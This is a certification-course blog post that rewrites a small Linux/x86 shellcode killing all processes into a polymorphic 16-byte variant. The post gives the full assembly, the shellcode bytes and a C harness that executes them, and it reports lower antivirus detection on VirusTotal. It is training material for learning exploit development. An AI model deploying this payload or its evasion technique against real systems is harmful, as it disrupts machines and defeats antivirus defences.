11 Minute Read
Student ID: SLAE-1250

Assignment Six: Polymorphic Conversion of Shellcode Part One - kill(-1, SIGKILL)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Breakdown


Part one of assignment six of the SLAE has us performing our first polymorphic transformation on the Linux/x86 shellcode taken from shell-storm.org:
kill(-1, SIGKILL)

As you can see from the assembly code below, and at the provided link, this is not a very complex set of code since for the first assignment dealing with polymorphic alterations to shellcode I wanted to keep it simple, so that is exactly what I did!

The very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/i386-linux-gnu/asm/unistd_32.h. Doing so will show us that we will be calling the function kill, which should come as no surprise since the title of the shellcode is: kill(-1, SIGKILL)

 section .text

       global _start

  _start:

  ; kill(-1, SIGKILL)

       push byte 37
       pop eax
       push byte -1
       pop ebx
       push byte 9
       pop ecx
       int 0x80
http://shell-storm.org/shellcode/files/shellcode-212.php


Continuing our analysis shows us that we are passing in -1 for parameter two and finally SIGKILL (decimal 9) for the third parameter before calling int 0x80 to execute the kill function. By now this code should not seem terribly confusing since we have already been through three different analysis of metasploit shellcodes so lets jump right into performing our polymorphic alterations!

Before doing so however we need to stop for a moment and figure out how big this shellcode we will be transforming is:

Again, the shellcode author was kind enough to provide us with the final shellcode, which is as follows:

"\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80"


The shellcode size we end up with is only 11 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 16 bytes for our shellcode!

That is not a lot of room to work with, but we will see what we can do!

There were several compromises that I had to make given we can only add an additional five bytes to this shellcode, the biggest of which was the decision not to xor the ecx register, as doing so would have pushed us up to 18 bytes. By using gdb on the compiled shellcode helper C program I was able to determine that the ecx register would already (and reliably) be set to zero so there was no need to xor it. It is critically important to understand where you are planning for your shellcode to run as if you were to try to inject this shellcode into a different process it might very well fail based on the state of the ecx register. However, since this is a hand rolled set of shellcode designed to be exploited only within the memory space of our kill-all-processes.c helper application I elected to continue forward with this example since it was simple and showed the basics of what we are trying to accomplish … all that being said, below is the completed polymorphic assembly code I put together to try and obfuscate the final shellcode within the bounds of exactly 16 bytes.

; Student ID   : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6 : polymorphic kill all processes for Linux/x86 Assembly (Assignment One)
; File Name    : kill-all-processes.nasm
; Shell Storm  : http://shell-storm.org/shellcode/files/shellcode-212.php

global _start

section .text

_start:

; kill(-1, SIGKILL)
xor eax, eax    ; needed to xor registers when called
mov ebx, eax    ; from the helper shellcode executable
                ; as eax and ebx are changed from zero
                ; or else we will get a segfault when
                ; actually running it

mov al, 0x63    ; moving 99 decimal into eax
sub al, 0x3E    ; subtracting 62 from 99 to make 37
                ; which is the decimal value for kill

mov bl, 0x01    ; move 0x01 into ebx
neg ebx         ; convert ebx to -1

mov cl, 0x09    ; moving 9 into ecx
                ; had our shellcode.c file written to ecx we would
                ; also have had to clear out ecx, but since it did
                ; not this allowed for us to save a few bytes.
                ; Be sure to carefully track register values through
                ; something like gdb when testing your payload in
                ; your host process. If we were not limited in our size
                ; I would have added an additional two bytes to xor
                ; out ecx too ... but as it stands this will be 16 bytes

int 0x80        ; make the call to the system interrupt to call kill


The main take away from the changes that were made is that instead of directly popping the values from the stack (like in the original shellcode) I instead xored the registers and simply moved in an initial value, which was then subtracted or negated, etc. I just found new ways to increase the complexity of getting the needed values into the correct registers to try to confuse antivirus if possible.

Just like in the first few lessons of the SLAE we again leveraged our helper compile.sh script in order to assemble our shellcode into a linked elf binary as such:

./compile.sh kill-all-processes
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!


Once we had the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode through the same command line fu as from the earlier lessons:

objdump -d ./kill-all-processes|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump


Which produces the following 16 bytes of shellcode!

"\x31\xc0\x89\xc3\xb0\x63\x2c\x3e\xb3\x01\xf7\xdb\xb1\x09\xcd\x80"


At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.1 : Shell Code Test File
// File Name      : kill-all-processes.c

#include<stdio.h>
#include<string.h>

//compile with: gcc kill-all-processes.c -o kill-all-processes -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc0\x89\xc3\xb0\x63\x2c\x3e\xb3\x01\xf7\xdb\xb1\x09\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc kill-all-processes.c -o kill-all-processes -fno-stack-protector -z execstack


Animated gif of the complete compilation and running of our polymorphic shellcode through gdb!

running the shellcode

Even more interesting than seeing the code executing was the difference between the results returned for each of the shellcode after being uploaded to VirusTotal!

The first assembled elf32 binary from the Shell-Storm shellcode produces the following results when uploaded to VirusTotal

Original shellcode from Shell-Storm

And the second set of obfuscated shellcode we wrote produced the following results when uploaded to VirusTotal

Polymorphic shellcode modified from Shell-Storm

As you can see, zero findings is definitely better than one finding! Looks like polymorphic obfuscation does have the ability to influence antivirus in some cases!


Final_Breakdown:


Below are the contents of the final code needed to generate the polymorphic obfuscated shellcode inspired by the shellcode found at: 11 byte shellcode to kill all processes for Linux/x86.

Assembly Code

; Student ID     : SLAE-1250
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.1 : polymorphic kill all processes for Linux/x86 Assembly
; File Name      : kill-all-processes.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-212.php

global _start

section .text

_start:

; kill(-1, SIGKILL)
xor eax, eax    ; needed to xor registers when called
mov ebx, eax    ; from the helper shellcode executable
                ; as eax and ebx are changed from zero
                ; or else we will get a segfault when
                ; actually running it

mov al, 0x63    ; moving 99 decimal into eax
sub al, 0x3E    ; subtracting 62 from 99 to make 37
                ; which is the decimal value for kill

mov bl, 0x01    ; move 0x01 into ebx
neg ebx         ; convert ebx to -1

mov cl, 0x09    ; moving 9 into ecx
                ; had our shellcode.c file written to ecx we would
                ; also have had to clear out ecx, but since it did
                ; not this allowed for us to save a few bytes.
                ; Be sure to carefully track register values through
                ; something like gdb when testing your payload in
                ; your host process. If we were not limited in our size
                ; I would have added an additional two bytes to xor
                ; out ecx too ... but as it stands this will be 16 bytes

int 0x80        ; make the call to the system interrupt to call kill
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/kill-all-processes.nasm

Helper Compile Bash Script

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.1 : Shell Code Test File
// File Name      : kill-all-processes.c

#include<stdio.h>
#include<string.h>

//compile with: gcc kill-all-processes.c -o kill-all-processes -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc0\x89\xc3\xb0\x63\x2c\x3e\xb3\x01\xf7\xdb\xb1\x09\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/kill-all-processes.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)